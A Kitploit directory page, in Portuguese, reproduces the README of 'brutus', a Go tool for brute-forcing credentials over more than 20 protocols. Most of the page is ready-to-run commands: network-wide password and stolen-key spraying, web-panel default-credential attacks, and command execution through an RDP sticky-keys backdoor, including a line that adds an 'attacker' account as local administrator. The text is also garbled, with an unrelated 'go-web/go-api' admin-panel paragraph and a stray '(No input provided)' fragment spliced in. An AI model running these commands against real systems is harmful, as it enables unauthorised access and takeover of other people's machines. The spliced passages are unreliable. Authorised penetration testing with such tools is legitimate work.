Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
brutus — Ferramenta de teste de credenciais rápida e sem dependências em Go. Realiza força bruta em SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e mais de 20 protocolos. Alternativa ao Hydra com integração nativa ao pipeline nerva/naabu. | Kitploit
Ferramentas/GitHubGitHub/praetorian-inc/brutus
Scanners de VulnerabilidadesAtaques de SenhaExploraçãoMovimento LateralColeta de InformaçõesSegurança de RedeTestes de PenetraçãoUtilitários e FrameworksAutenticaçãoRed Teaming
GitHubpraetorian-inc/brutus
307417há 7h 40mRevisado pelo Kitploit

brutus

Ferramenta de teste de credenciais rápida e sem dependências em Go. Realiza força bruta em SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e mais de 20 protocolos. Alternativa ao Hydra com integração nativa ao pipeline nerva/naabu.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Brutus - Social

Brutus

"Et tu, Brute?" — As últimas palavras antes das credenciais caírem.

Ferramenta moderna de teste de credenciais em Go puro

Instalação • Início Rápido • Pipeline • Protocolos • Enumeração • Proxy • Biblioteca


Visão Geral

O Brutus é uma ferramenta de teste de autenticação multiprotocolo projetada para preencher uma lacuna crítica nas ferramentas de segurança ofensiva: validação eficiente de credenciais em diversos serviços de rede. Embora ferramentas focadas em HTTP sejam abundantes, testadores de penetração e operadores de red team frequentemente encontram bancos de dados, SSH, SMB e outros serviços de rede que exigem capacidades de teste de autenticação projetadas especificamente.

Construído em Go como um único binário com zero dependências externas, o Brutus se integra perfeitamente com Nerva para descoberta automatizada de serviços, permitindo que operadores identifiquem e testem rapidamente vetores de autenticação em intervalos de rede inteiros.

Principais características:

  • Zero dependências: Binário único, multiplataforma (Linux, Windows, macOS)
  • 27 protocolos: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth e mais
  • Suporte a proxy SOCKS5: Roteie todo o tráfego através de um proxy SOCKS5 com --proxy
  • Modos de agressividade: --mode cautious|default|aggressive para ajustar cobertura vs. segurança
  • Integração com pipeline: Suporte nativo para fluxos de trabalho do Nerva, naabu, nmap e masscan
  • Chaves ruins embutidas: Coleção interna de chaves SSH conhecidas (Vagrant, F5, ExaGrid, etc.)
  • Enumeração de contas: enumeração de oráculo de existência de conta, enumeração de usuários Kerberos, geração de e-mail, autenticação de código de dispositivo Microsoft Teams/Entra ID
  • Biblioteca Go: Importe diretamente em suas ferramentas de automação de segurança
  • Pronto para produção: Limitação de taxa, pool de conexões e tratamento abrangente de erros

  • Por que Brutus?

    Ferramentas tradicionais como THC Hydra têm servido bem à comunidade de segurança, mas vêm com um atrito significativo: cadeias de dependências complexas, problemas de compilação específicos de plataforma e nenhuma integração nativa com fluxos de trabalho modernos de reconhecimento.

    Brutus é construído especificamente para segurança ofensiva moderna:

    • Implantação verdadeiramente sem dependências: Baixe um único binário e execute. Sem libssh-dev, sem libmysqlclient-dev, sem erros de compilação. Funciona de forma idêntica em Linux, macOS e Windows.
    • Integração nativa com pipeline: Brutus fala JSON e se integra diretamente com Nerva, naabu, nmap e masscan. Envie serviços descobertos diretamente para teste de credenciais sem conversão de formato ou script.
    • Inteligência embutida: Chaves SSH ruins conhecidas (Vagrant, F5 BIG-IP, ExaGrid, etc.) são compiladas no binário. Use brutus badkeys para testá-las contra alvos SSH.
    • Design orientado a bibliotecas: Importe o Brutus diretamente em suas ferramentas de segurança Go. Construa automação personalizada sem chamar processos externos.```bash

    Full network credential audit in one pipeline (JSON mode)

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

    Or use Nerva's default URI output — no --json flags needed

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

    root@kitploit:~
    ---
    
    ## Casos de Uso
    
    ### Teste de Penetração
    - Validar credenciais descobertas em múltiplos serviços durante avaliações internas
    - Testar padrões de reutilização de senhas entre serviços de banco de dados e compartilhamento de arquivos
    - Identificar credenciais padrão em infraestrutura recém-implantada
    
    ### Operações de Red Team
    - Validação rápida de credenciais após vazamentos de senhas ou campanhas de phishing
    - Testar oportunidades de movimento lateral em serviços de rede
    - Validar credenciais comprometidas em ambientes heterogêneos
    
    ### Spraying de Chaves Privadas
    
    Encontrou uma chave privada em um sistema comprometido? Espalhe-a pela rede para descobrir onde mais ela concede acesso:```bash
    # Discover SSH services and spray a found private key
    naabu -host 10.0.0.0/24 -p 22 -silent | \
      nerva --json | \
      brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
    

    Este pipeline descobre todos os serviços SSH, identifica-os com o Nerva e testa a chave comprometida contra nomes de usuário comuns—revelando oportunidades de movimento lateral em segundos.

    Teste de Painel de Administração Web

    Descubra serviços HTTP e teste credenciais usando detecção com IA ou listas de credenciais manuais:```bash

    AI-powered: auto-detect devices and suggest default credentials

    naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
    nerva --json |
    brutus web --experimental-ai --json

    Manual: test specific credentials against web panels

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web -c "admin:admin,root:password" --json

    Default wordlist: test common credentials without AI or -c

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --json

    root@kitploit:~
    ### Validação de Segurança
    - Testar credenciais padrão em serviços recém-implantados
    - Validar a aplicação da política de senhas em todas as plataformas
    - Gerar trilhas de auditoria para conformidade e avaliações de segurança
    
    ---
    
    ## Instalação
    
    ### Binários Pré-construídos (Recomendado)
    
    Baixar dos [Lançamentos do GitHub](https://github.com/praetorian-inc/brutus/releases):```bash
    # Linux (amd64)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Apple Silicon)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Intel)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    

    .(No input provided)```powershell

    Windows (PowerShell)

    Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

    root@kitploit:~
    ### Instalação do Go```bash
    go install github.com/praetorian-inc/brutus/cmd/brutus@latest
    

    Início Rápido

    Subcomandos

    O Brutus organiza sua funcionalidade em seis subcomandos focados:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

    root@kitploit:~
    Cada subcomando possui aliases para descoberta:
    
    | Subcomando | Aliases |
    |------------|---------|
    | `creds` | `services`, `defaults`, `credentials` |
    | `web` | `http`, `panels` |
    | `snmp` | `community` |
    | `badkeys` | `keys`, `ssh-keys`, `badkey` |
    | `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
    | `enum` | *(nenhum)* |```bash
    # Test SSH credentials
    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
    
    # Test HTTP web panel with AI credential detection
    brutus web --target 192.168.1.1:80 --experimental-ai
    
    # Test HTTP web panel with manual credentials
    brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
    
    # Test SNMP community strings
    brutus snmp --target 192.168.1.1:161 --mode aggressive
    
    # Detect Windows logon-screen backdoors
    brutus logon --target 10.0.0.50:3389
    
    # Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
    naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Uso Básico```bash

    Test SSH with default credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh

    Test with specific credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

    Test with username and password lists

    brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

    Test MySQL database

    brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

    Test SSH with a specific private key

    brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

    Increase threads for faster testing

    brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

    JSON output for scripting

    brutus creds --target 192.168.1.100:22 --protocol ssh --json

    root@kitploit:~
    ### Exemplo de Saída```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
    [+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
    

    Com o modo verbose (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

    root@kitploit:~
    Saída JSON para integração de pipeline (exibe apenas credenciais bem-sucedidas):```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    

    Integração com Pipeline

    O Brutus integra-se perfeitamente com Nerva e naabu para reconhecimento completo de rede.

    Cenários do Mundo Real

    Cenário 1: Varredura de uma Rede Corporativa /24```bash

    Discover all open ports, identify services, test default credentials

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva --json |
    brutus creds --json -o results.json

    Same pipeline using Nerva's default URI output (no --json needed)

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva | brutus creds -o results.json

    Review findings (all output is successful credentials)

    cat results.json | jq '.'

    root@kitploit:~
    #### Cenário 2: Bug Bounty Recon em um Domínio Alvo```bash
    # Full pipeline against a single target
    naabu -host target.example.com -top-ports 1000 -silent | \
      nerva --json | \
      brutus creds
    
    # Or scan a list of subdomains
    cat subdomains.txt | naabu -silent | nerva --json | brutus creds
    

    Cenário 3: Caça a Bancos de Dados em uma Avaliação Interna```bash

    Find and test all databases in a range

    naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
    nerva --json |
    brutus creds -t 5 --json |
    tee database-findings.json

    Extract credentials in readable format

    jq -r '"(.target) (.username):(.password)"' database-findings.json

    root@kitploit:~
    #### Cenário 4: Teste de Chave SSH em Toda a Infraestrutura```bash
    # Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
    naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
      nerva --json | \
      brutus badkeys --json -o ssh-key-findings.json
    
    # Find systems using compromised SSH keys (key field is true)
    cat ssh-key-findings.json | jq 'select(.key == true)'
    

    Cenário 5: Teste de Serviço Direcionado```bash

    Test only Redis instances found in the network

    naabu -host 172.16.0.0/12 -p 6379 -silent |
    nerva --json |
    brutus creds

    Test only MongoDB with custom credentials

    naabu -host 10.0.0.0/24 -p 27017 -silent |
    nerva --json |
    brutus creds -u admin,root,mongodb -p admin,password,mongodb

    root@kitploit:~
    ### Importação de Ferramentas de Varredura (Nmap & Masscan)
    
    Brutus pode importar alvos diretamente de arquivos de saída de varredura do **nmap** e **masscan**, eliminando a necessidade de conversão de formato ou ferramentas intermediárias.
    
    #### Importação de XML do Nmap (`--nmap-file`)
    
    Importa alvos da saída XML do nmap (`-oX`). O nmap fornece impressão digital de serviços, então o Brutus mapeia automaticamente os serviços detectados para o protocolo correto:```bash
    # Run an nmap service scan
    nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
    
    # Feed nmap results directly to Brutus
    brutus creds --nmap-file scan.xml -P passwords.txt
    
    # Test web services from nmap scan
    brutus web --nmap-file scan.xml -c "admin:admin,root:password"
    
    # Test SNMP from nmap scan
    brutus snmp --nmap-file scan.xml --mode aggressive
    
    # JSON output for scripting
    brutus creds --nmap-file scan.xml --json -o results.json
    

    Nomes de serviços do Nmap são mapeados automaticamente para protocolos Brutus (ex.: ms-wbt-server → rdp, microsoft-ds → smb). TLS é detectado a partir do atributo tunnel="ssl" do nmap. Apenas portas abertas em hosts ativos são importadas.

    Masscan JSON Import (--masscan-file)

    Importar alvos da saída JSON do masscan (-oJ). Já que o masscan é apenas um scanner de portas (sem impressão digital de serviços), você deve especificar --protocol ou deixar o Brutus realizar a impressão digital automática com o Nerva:```bash

    Run a masscan port scan

    masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

    Test all discovered ports as SSH (when you know what's running)

    brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

    Auto-fingerprint with Nerva (when services are unknown)

    brutus creds --masscan-file scan.json -P passwords.txt

    root@kitploit:~
    #### Combinando com Outros Fluxos de Trabalho
    
    As flags `--nmap-file` e `--masscan-file` funcionam com todos os subcomandos e são mutuamente exclusivas com `--target`, `--targets-file` e stdin:```bash
    # Scan for RDP backdoors from nmap results
    brutus logon --nmap-file scan.xml
    
    # Test SSH bad keys from nmap results
    brutus badkeys --nmap-file scan.xml
    
    # Override protocol for all masscan targets
    brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
    

    Formato de Entrada do Pipeline

    Brutus aceita múltiplos formatos de entrada do stdin:

    Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

    root@kitploit:~
    **Nerva URI** (saída padrão do Nerva, sem necessidade de `--json`):```bash
    # Nerva outputs URI-scheme lines by default
    $ echo "github.com:22" | nerva
    ssh://github.com:22 (20.205.243.166)
    
    # Pipe directly to Brutus — protocol is extracted from the URI scheme
    echo "10.0.0.1:22" | nerva | brutus creds
    echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
    

    Alvos nus (auto-identificados com Nerva):```bash echo "192.168.1.100:22" | brutus creds

    root@kitploit:~
    Brutus automaticamente:
    - Analisa JSON, esquema URI e formatos de alvo simples
    - Mapeia serviços para protocolos
    - Testa credenciais padrão apropriadas
    - Produz resultados no formato JSON correspondente
    
    ### Formato de Saída do Pipeline
    
    Brutus produz apenas credenciais bem-sucedidas no formato JSONL (um objeto JSON por linha):```bash
    # Brutus JSON output (with --json flag) - only successful authentications
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    {"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
    {"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
    

    Nota: As tentativas de autenticação malsucedidas não são incluídas na saída JSON. O campo key aparece (como true) quando a autenticação usou uma chave SSH em vez de senha. O campo llm_suggested aparece (como true) quando as credenciais foram sugeridas pelo sistema de IA (--experimental-ai).


    Comparação

    FuncionalidadeHydraMedusaNcrackBrutus
    Binário Único❌❌❌✅
    Zero Dependências❌❌❌✅
    Proxy SOCKS5✅❌❌✅
    Pipeline Nerva❌❌❌✅
    Importação Nmap/Masscan❌❌❌✅
    Streaming JSON⚠️❌❌✅
    Multiplataforma⚠️⚠️⚠️✅
    Erros Consistentes⚠️⚠️⚠️✅
    Desenvolvimento Ativo✅⚠️❌✅
    Chaves Ruins Incorporadas❌❌❌✅
    Importação de Biblioteca Go❌❌❌✅

    Protocolos Suportados

    O Brutus suporta 27 protocolos:

    Serviços de Rede

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    SSH22Senha, Chaves PrivadasServidores, equipamentos de rede
    FTP21SenhaServidores de arquivos, dispositivos NAS
    Telnet23SenhaSistemas legados, dispositivos IoT
    VNC5900SenhaÁreas de trabalho remotas
    RDP3389NLA/CredSSP, SenhaServidores Windows, estações de trabalho
    SNMP161String de ComunidadeDispositivos de rede, impressoras

    Serviços Web

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    HTTP80Autenticação BásicaPainéis de administração (Grafana, Jenkins, etc.)
    HTTPS443Autenticação BásicaPainéis de administração seguros

    Infraestrutura Empresarial

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    SMB445Senha, NTLMRedes Windows, compartilhamentos de arquivos
    LDAP389/636Bind DNActive Directory, identidade
    WinRM5985/5986NTLMGerenciamento remoto Windows

    Bancos de Dados

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    MySQL3306SenhaAplicações web
    PostgreSQL5432SenhaAplicações modernas
    MSSQL1433SenhaAplicações empresariais
    MongoDB27017SenhaBackends NoSQL
    Redis6379SenhaCache, sessões
    Neo4j7687SenhaBancos de dados de grafos
    Cassandra9042SenhaBancos de dados distribuídos
    CouchDB5984HTTP BásicoArmazenamento de documentos
    Elasticsearch9200HTTP BásicoMecanismos de busca
    InfluxDB8086HTTP BásicoDados de série temporal
    Oracle1521SenhaBancos de dados empresariais

    Contêineres e Orquestração

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    Docker2375/2376Não autenticadoDaemons Docker expostos
    Kubernetes6443/10250Não autenticadoAPI/kubelet K8s expostos

    Comunicações

    ProtocoloPortaMétodos de AutenticaçãoCaso de Uso
    SMTP25/587SenhaRelay de e-mail
    IMAP143/993SenhaAcesso à caixa de correio
    POP3110/995SenhaAcesso à caixa de correio

    Chaves SSH Ruins Incorporadas

    Implantação em binário único sem necessidade de arquivos de chave externos. Cada chave é emparelhada com seu nome de usuário padrão para mapeamento inteligente de credenciais, e o rastreamento CVE permite consultas de conformidade.

    O Brutus carrega as coleções de chaves rapid7/ssh-badkeys e Vagrant incorporadas no binário:```bash

    Test bad keys against a single target

    brutus badkeys --target 192.168.1.100:22

    Pipeline mode: scan a range for compromised SSH keys

    naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

    Test credentials (bad keys are NOT included in creds mode)

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

    root@kitploit:~
    ### Coleção de Chaves Incorporadas
    
    | Product | CVE | Default User | Description |
    |---------|-----|--------------|-------------|
    | Vagrant | - | vagrant, root | Chave insegura do HashiCorp Vagrant |
    | F5 BIG-IP | CVE-2012-1493 | root | Chave de host SSH estática |
    | ExaGrid | CVE-2016-1561 | root | Backdoor do appliance de backup |
    | Monroe DASDEC | CVE-2013-0137 | root | Sistemas de alerta de emergência |
    | Barracuda | CVE-2014-8428 | cluster | VM do balanceador de carga |
    | Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul sem fio |
    | Array Networks | - | sync | Appliances vAPV/vxAG |
    | Quantum DXi | - | root | Appliances de desduplicação |
    | Loadbalancer.org | - | root | Balanceadores de carga empresariais |
    
    ---
    
    ## Modos de Agressividade
    
    A flag global `--mode` (`-m`) controla a agressividade em todos os subcomandos. Ela define predefinições de ajuste de desempenho que equilibram cobertura contra segurança:
    
    | Mode | Threads | Timeout | Rate Limit | Jitter | Retries | Use Case |
    |------|---------|---------|------------|--------|---------|----------|
    | `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambientes de produção, evitar bloqueios |
    | `default` | 10 | 10s | Unlimited | None | 2 | Testes padrão |
    | `aggressive` | 20 | 10s | Unlimited | None | 3 | Ambientes de laboratório/CTF, cobertura máxima |
    
    As predefinições de modo são aplicadas primeiro, depois quaisquer flags CLI explícitas as substituem:```bash
    # Safe mode for production Active Directory (low concurrency, rate-limited)
    brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
    
    # Maximum coverage for a CTF
    brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
    
    # Cautious mode but override threads
    brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
    

    Para SNMP, o modo também controla a profundidade da wordlist embutida (veja Teste de String de Comunidade SNMP).


    Suporte a Proxy SOCKS5

    A flag --proxy roteia todas as conexões através de um proxy SOCKS5. Isso funciona em todos os protocolos e subcomandos:```bash

    Route SSH testing through a SOCKS5 proxy

    brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

    Proxy with authentication

    brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

    DNS resolution on the proxy side (socks5h)

    brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

    Combine with pipeline input

    naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

    Works with all subcommands

    brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

    root@kitploit:~
    Supported schemes:
    - `socks5://` — Proxy SOCKS5 padrão (resolução DNS no cliente)
    - `socks5h://` — SOCKS5 com resolução DNS remota (útil para segmentar hostnames internos)
    
    ---
    
    ## Teste de String de Comunidade SNMP
    
    O subcomando `snmp` fornece teste dedicado de string de comunidade SNMP v1/v2c com listas de palavras em camadas controladas pela flag global `--mode`:
    
    | Modo | Strings | Cobertura |
    |------|---------|-----------|
    | `cauteloso` | ~25 | Strings comuns (public, private, community, etc.) |
    | `padrão` | ~25 | Mesmo que cauteloso |
    | `agressivo` | 200+ | Abrangente (específico do fornecedor, SCADA, câmeras IP, armazenamento, etc.) |```bash
    # Test with default community strings (~25)
    brutus snmp --target 192.168.1.1:161
    
    # Aggressive mode for comprehensive testing (200+)
    brutus snmp --target 10.0.0.1:161 --mode aggressive
    
    # Custom community strings
    brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
    
    # Custom community string file
    brutus snmp --target 192.168.1.1:161 -C community-strings.txt
    
    # Pipeline mode
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Integração como Biblioteca

    Para desenvolvedores que criam ferramentas de automação de segurança, Brutus também pode ser importado como uma biblioteca Go:```bash go get github.com/praetorian-inc/brutus

    root@kitploit:~
    Para instalar uma versão do banco de dados, você pode usar `go get -u go-web/go-api`, mas isso irá baixar várias dependências. Em seguida, você pode executar o servidor com `go-web [global options]`.
    
    ### 📄 Painel de Administração e Consultas
    
    Para compilar o painel, copie `example.env` para `.env` e altere as variáveis de ambiente para as suas.
    
    Em seguida, você pode compilar o binário do painel:```go
    package main
    
    import (
        "fmt"
        "time"
    
        "github.com/praetorian-inc/brutus/pkg/brutus"
        _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
    )
    
    func main() {
        config := &brutus.Config{
            Target:        "192.168.1.100:22",
            Protocol:      "ssh",
            Usernames:     []string{"root", "admin"},
            Passwords:     []string{"password", "admin", "toor"},
            Timeout:       5 * time.Second,
            Threads:       10,
        }
    
        results, err := brutus.Brute(config)
        if err != nil {
            panic(err)
        }
    
        for _, r := range results {
            if r.Success {
                fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
            }
        }
    }
    

    Experimental: Detecção de Credenciais com IA

    ⚠️ Funcionalidade Experimental: Recursos de IA exigem chaves de API externas e estão em desenvolvimento ativo.

    A Flag --experimental-ai

    A flag --experimental-ai ativa a detecção automática de credenciais para serviços HTTP:```bash

    Set up API keys

    export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

    AI-powered credential testing against HTTP services

    naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --experimental-ai

    root@kitploit:~
    **Como funciona:**
    
    1. **Detecção** — Brutus testa alvos HTTP para detectar o tipo de autenticação (Basic Auth vs formulário)
    2. **Identificação do Dispositivo** — Claude Vision analisa capturas de tela para identificar o dispositivo/aplicação
    3. **Sugestões de Credenciais** — Claude sugere credenciais padrão com base em seus dados de treinamento
    4. **Pesquisa Web Opcional** — Perplexity (se configurado) busca credenciais adicionais online
    5. **Teste** — Testa as credenciais descobertas contra o alvo
    
    **Para alvos com HTTP Basic Auth:**
    - Sonda `/` para capturar cabeçalhos HTTP
    - Identifica o dispositivo a partir do cabeçalho Server, realm do WWW-Authenticate, etc.
    - Claude sugere possíveis credenciais padrão
    - Testa pares de credenciais automaticamente
    
    **Para alvos com autenticação baseada em formulário HTTP:**
    - Usa Chrome headless para renderizar e capturar a tela da página
    - Claude Vision identifica o formulário de login, tipo de dispositivo e sugere credenciais
    - Perplexity (opcional) busca credenciais padrão adicionais
    - Automação do navegador preenche e envia o formulário
    
    **Requisitos:**
    - `ANTHROPIC_API_KEY` — **Obrigatório** para Claude Vision (identificação do dispositivo + sugestões de credenciais)
    - `PERPLEXITY_API_KEY` — *Opcional* para pesquisa adicional na web
    - Chrome/Chromium instalado (apenas para autenticação baseada em formulário)
    
    **Protocolos não HTTP (SSH, MySQL, etc.) não são afetados por `--experimental-ai`** — eles continuam usando o teste padrão de credenciais.
    
    ---
    
    ## RDP: Detecção e Exploração de Backdoor de Teclas de Aderência
    
    Brutus inclui detecção automática do **backdoor de teclas de aderência** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) em alvos RDP. Esta verificação pré-autenticação é executada em alvos RDP sem NLA — não requer credenciais.
    
    **Como funciona:**
    
    1. Conecta-se ao alvo RDP e negocia uma sessão sem NLA
    2. Captura o bitmap da tela de login como referência
    3. Envia 5x Shift (o gatilho das teclas de aderência)
    4. Captura o bitmap de resposta
    5. Análise heurística detecta se uma janela de terminal apareceu (cmd.exe, PowerShell, etc.)
    6. Opcionalmente confirma via API Claude Vision (quando `ANTHROPIC_API_KEY` está configurada)```bash
    # Detection only — no brute force
    brutus logon --target 10.0.0.50:3389
    
    # Detection + Vision API confirmation
    brutus logon --target 10.0.0.50:3389 --experimental-ai
    

    Modo apenas de detecção: O subcomando logon executa a detecção de backdoor de teclas de aderência e utilman sem força bruta:```bash

    Detection only (no brute force)

    brutus logon --target 10.0.0.50:3389

    root@kitploit:~
    **Saída de detecção:**```
    [CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
    sethc.exe has been replaced with cmd.exe or similar.
    SYSTEM-level unauthenticated access available via 5x Shift.
    

    Execução de Comando via Backdoor (--exec)

    Uma vez detectado um backdoor, execute um comando no sistema remoto através do prompt de comando pré-autenticação:```bash

    Execute a single command via the backdoor

    brutus logon --target 10.0.0.50:3389 --exec "whoami"

    Add a local admin account

    brutus logon --target 10.0.0.50:3389
    --exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

    root@kitploit:~
    Isso conecta, aciona o backdoor, digita o comando, pressiona Enter, aguarda a saída e salva uma captura de tela PNG do resultado.
    
    ### Terminal Web Interativo (`--web`)
    
    Inicie um visualizador RDP baseado em navegador para interação ao vivo com o prompt de comando do backdoor:```bash
    # Start interactive web terminal
    brutus logon --target 10.0.0.50:3389 --web
    

    Isso inicia um servidor HTTP local com:

    • Streaming ao vivo da tela a ~10 FPS (JPEG via WebSocket)
    • Redirecionamento completo do teclado (scancodes PS/2 mapeados do evento KeyboardEvent do navegador)
    • Suporte a mouse (clique, movimentação, clique direito)
    • Status da conexão com sobreposição de desconexão e botão de reconexão

    Abra a URL exibida (por exemplo, http://127.0.0.1:<port>) em qualquer navegador para interagir com a sessão RDP remota. Se a sessão desconectar devido ao tempo limite de inatividade do servidor, clique em Reconectar para estabelecer uma nova sessão.

    Nota: Sessões RDP sem NLA (Non-NLA) possuem um tempo limite de inatividade do lado do servidor (o padrão do Windows varia conforme a configuração, normalmente controlado pela Política de Grupo em Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Para estender o tempo limite em um alvo de teste, defina MaxIdleTime como 0 no registro:

    root@kitploit:~
    HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
    

    Considerações sobre B-TP (Benign True Positive): A substituição de backdoor pode também indicar procedimentos de recuperação de senha esquecida ou artefatos de testes de penetração autorizados.

    Pipeline de Varredura em Massa de RDP

    Para avaliações em larga escala, o subcomando logon executa a detecção de backdoor em múltiplos alvos. Ele aceita entrada de pipeline, arquivos de alvos ou importações do nmap/masscan — apenas serviços RDP são testados:```bash

    Scan a /24 for sticky keys and utilman backdoors

    naabu -host 10.0.0.0/24 -p 3389 -silent |
    nerva --json |
    brutus logon --json -o rdp-findings.json

    Scan from nmap results

    brutus logon --nmap-file scan.xml --json -o rdp-findings.json

    Scan from targets file

    brutus logon --targets-file rdp-targets.txt --json

    Extract critical findings

    jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

    root@kitploit:~
